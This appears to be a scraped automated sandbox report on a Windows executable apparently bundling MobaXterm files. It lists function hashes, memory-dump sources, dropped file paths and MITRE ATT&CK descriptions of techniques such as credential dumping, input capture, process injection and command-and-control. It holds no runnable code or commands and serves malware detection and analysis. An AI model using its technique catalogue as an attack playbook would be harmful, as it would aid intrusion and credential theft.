API String ID: 2316056990-0
Opcode ID: 41b8d331d393d5e90e21ccbe17f6498b893b836890438e4a7865334831111d56
Instruction ID: 1120a0dcada633a0f0e96b1edb7ac17ffbd7bf63477e0454718f7cdd00038134
Opcode Fuzzy Hash: 41b8d331d393d5e90e21ccbe17f6498b893b836890438e4a7865334831111d56
Instruction Fuzzy Hash: F0019EB4D09249AFDB00DFA9D4857DEBBF4AF05308F10841AE8A4A7341D77896448F96

Function 004F1353 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

XkbDDXNamesFromRules.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,004F13ED), ref: 004F139A

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: FromNamesRules
String ID:
API String ID: 690646687-0
Opcode ID: 0fa28fd57e06711f90526df41a091e8a747ea56861eda6570c7e22548b7fd987
Instruction ID: fba8092921f964d41246345026f48258d17eb9b82b9b8cb6bf0614df5e47d641
Opcode Fuzzy Hash: 0fa28fd57e06711f90526df41a091e8a747ea56861eda6570c7e22548b7fd987
Instruction Fuzzy Hash: 36F01BB8A04209AFCB44DF59C185999BBF0FB48220F01C45AED68DB311E230EA408F91

Function 005B309B Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

LogVWrite.XWIN_MOBAX(?,?,?,?,?,005B30FA,?,?,?,?,?,?,?,?,?,005678BD), ref: 005B30D5

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Write
String ID:
API String ID: 3165279579-0
Opcode ID: 1538a8900f82d8a05a5726f789d5926c6ee03a766dfe1ea66ff6d7e61a38df39
Instruction ID: 744b2881bb4041c317a7684395981d1f230edb66547fc823071f6c762a210e36
Opcode Fuzzy Hash: 1538a8900f82d8a05a5726f789d5926c6ee03a766dfe1ea66ff6d7e61a38df39
Instruction Fuzzy Hash: 0BE07D74604309AFC700EF29C48559DBBE4FF88790F50C919ED999B390D630E9419B95

Function 005B30DC Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

VErrorF.XWIN_MOBAX(?,?,?,?,?,?,?,?,?,005678BD), ref: 005B30F5

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 831662b4ca9cbf0bb974cd3aa8bfeb33461f2c1a8d00d8c3736b7f247e9f4fff
Instruction ID: 36cc9176bcd814a542fbe960774ea76730db6a68e8e9bd9cc35c0497e4aa97a7
Opcode Fuzzy Hash: 831662b4ca9cbf0bb974cd3aa8bfeb33461f2c1a8d00d8c3736b7f247e9f4fff
Instruction Fuzzy Hash: E3D09274904208ABCB00EF69C08948DBBF4AA48214F40846AAC98D3340E630E6408B42

Function 00561097 Relevance: 1.3, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

calloc.MSVCRT ref: 005610AB

Memory Dump Source

Source File: 00000007.00000002.3779572329.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true

Associated: 00000007.00000002.3779474972.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780699222.000000000066B000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780800849.000000000066C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3780888259.000000000066D000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781042760.0000000000671000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000701000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000711000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781387243.0000000000714000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781687557.0000000000738000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781866626.000000000076A000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.000000000076C000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3781925785.0000000000770000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.3782083804.0000000000777000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_400000_XWin_MobaX.jbxd

Similarity

API ID: calloc
String ID:
API String ID: 2635317215-0
Opcode ID: 130bc18600dbb516080c9a5df304549bdd772264f9b6844d2197702cc28c6602
Instruction ID: 720b2f92309bda28d27a3a1e84b1d22533eca79f8c5d793595f4492875fe5db9
Opcode Fuzzy Hash: 130bc18600dbb516080c9a5df304549bdd772264f9b6844d2197702cc28c6602
Instruction Fuzzy Hash: 52D01270D0430CABCB00EF69D08548DBBF8AB45348F408858A894E7341D274D5848F81

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Containers, IaaS, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Valid Accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.
Tactics:	Lateral Movement
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report T2dvU8f2xg.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q8X2NUFH\MobServe[1].exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MoTTYnew.exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFiles

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaCompareFolders

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaGitEditor

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaListPorts

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaPictureViewer

C:\Users\user\AppData\Local\Temp\Mxt242\bin\MobaTextEditor

C:\Users\user\AppData\Local\Temp\Mxt242\bin\OpenX.exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX.exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.3.exe

C:\Users\user\AppData\Local\Temp\Mxt242\bin\XWin_MobaX_21.1.8.exe

Windows Analysis Report
T2dvU8f2xg.exe

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre